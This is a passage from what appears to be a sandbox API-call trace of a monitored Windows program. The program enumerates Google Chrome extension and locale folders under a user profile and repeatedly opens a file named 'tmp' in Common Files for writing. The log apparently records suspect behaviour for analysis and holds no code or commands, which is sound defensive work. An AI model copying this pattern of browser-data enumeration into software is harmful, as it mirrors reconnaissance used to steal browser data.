ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827e72f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.012] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.012] GetLastError () returned 0x12 [0143.012] AreFileApisANSI () returned 1 [0143.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.012] GetFileType (hFile=0x128) returned 0x1 [0143.012] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827fab70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827fab70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.073] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.073] GetLastError () returned 0x12 [0143.073] AreFileApisANSI () returned 1 [0143.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.073] GetFileType (hFile=0x128) returned 0x1 [0143.123] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8280e3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8280e3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.123] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.123] GetLastError () returned 0x12 [0143.124] AreFileApisANSI () returned 1 [0143.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.124] GetFileType (hFile=0x128) returned 0x1 [0143.124] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.167] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.167] GetLastError () returned 0x12 [0143.167] AreFileApisANSI () returned 1 [0143.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.167] GetFileType (hFile=0x128) returned 0x1 [0143.167] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.168] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.168] GetLastError () returned 0x12 [0143.168] AreFileApisANSI () returned 1 [0143.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.168] GetFileType (hFile=0x128) returned 0x1 [0143.168] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.224] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.224] GetLastError () returned 0x12 [0143.224] AreFileApisANSI () returned 1 [0143.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.224] GetFileType (hFile=0x128) returned 0x1 [0143.225] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8286d760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8286d760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.225] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.225] GetLastError () returned 0x12 [0143.225] AreFileApisANSI () returned 1 [0143.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.225] GetFileType (hFile=0x128) returned 0x1 [0143.225] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82874c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82874c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.261] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.261] GetLastError () returned 0x12 [0143.261] AreFileApisANSI () returned 1 [0143.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.261] GetFileType (hFile=0x128) returned 0x1 [0143.261] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8287e8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8287e8d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.261] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.262] GetLastError () returned 0x12 [0143.262] AreFileApisANSI () returned 1 [0143.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.262] GetFileType (hFile=0x128) returned 0x1 [0143.262] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.310] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.311] GetLastError () returned 0x12 [0143.311] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0143.311] GetLastError () returned 0x12 [0143.311] AreFileApisANSI () returned 1 [0143.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.311] GetFileType (hFile=0x194) returned 0x1 [0143.311] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0143.354] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0143.354] GetLastError () returned 0x12 [0143.354] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0143.354] GetLastError () returned 0x12 [0143.354] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0143.354] GetLastError () returned 0x12 [0143.354] AreFileApisANSI () returned 1 [0143.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0143.354] GetFileType (hFile=0x18c) returned 0x1 [0143.354] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0143.355] AreFileApisANSI () returned 1 [0143.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0143.355] GetFileType (hFile=0x190) returned 0x1 [0143.355] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0143.355] AreFileApisANSI () returned 1 [0143.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.355] GetFileType (hFile=0x194) returned 0x1 [0143.356] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0143.356] AreFileApisANSI () returned 1 [0143.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.357] GetFileType (hFile=0x128) returned 0x1 [0143.357] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.401] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.401] GetLastError () returned 0x12 [0143.401] AreFileApisANSI () returned 1 [0143.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.401] GetFileType (hFile=0x128) returned 0x1 [0143.401] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.402] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.402] GetLastError () returned 0x12 [0143.402] AreFileApisANSI () returned 1 [0143.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.402] GetFileType (hFile=0x128) returned 0x1 [0143.402] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.447] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.447] GetLastError () returned 0x12 [0143.447] AreFileApisANSI () returned 1 [0143.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.448] GetFileType (hFile=0x128) returned 0x1 [0143.448] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.494] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.494] GetLastError () returned 0x12 [0143.494] AreFileApisANSI () returned 1 [0143.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.495] GetFileType (hFile=0x128) returned 0x1 [0143.495] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 